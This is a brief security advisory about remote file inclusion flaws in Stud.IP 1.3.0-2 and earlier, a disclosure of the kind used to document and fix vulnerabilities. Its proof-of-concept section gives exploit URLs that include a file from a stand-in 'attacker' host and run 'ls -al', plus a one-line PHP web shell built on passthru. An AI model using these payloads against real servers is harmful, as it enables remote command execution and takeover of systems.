Vulnerable Systems:
       studip 1.3.0-2 and below


Input passed to the "_PHPLIB[libdir]" parameter in
studip-phplib/oohforms.inc and to the
"ABSOLUTE_PATH_STUDIP"  parameter in
studip-htdocs/archiv_assi.php is not properly verified
before being used to include files.
This can be exploited to execute arbitrary PHP code by
including files from local or external resources.

POC Exploits:

The following URL will cause the server to include
external files
http://localhost/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls -al&ABSOLUTE_PATH_STUDIP=http://attacker/cmd.gif?
http://localhost/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls -al&_PHPLIB[libdir]=http://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly verified.
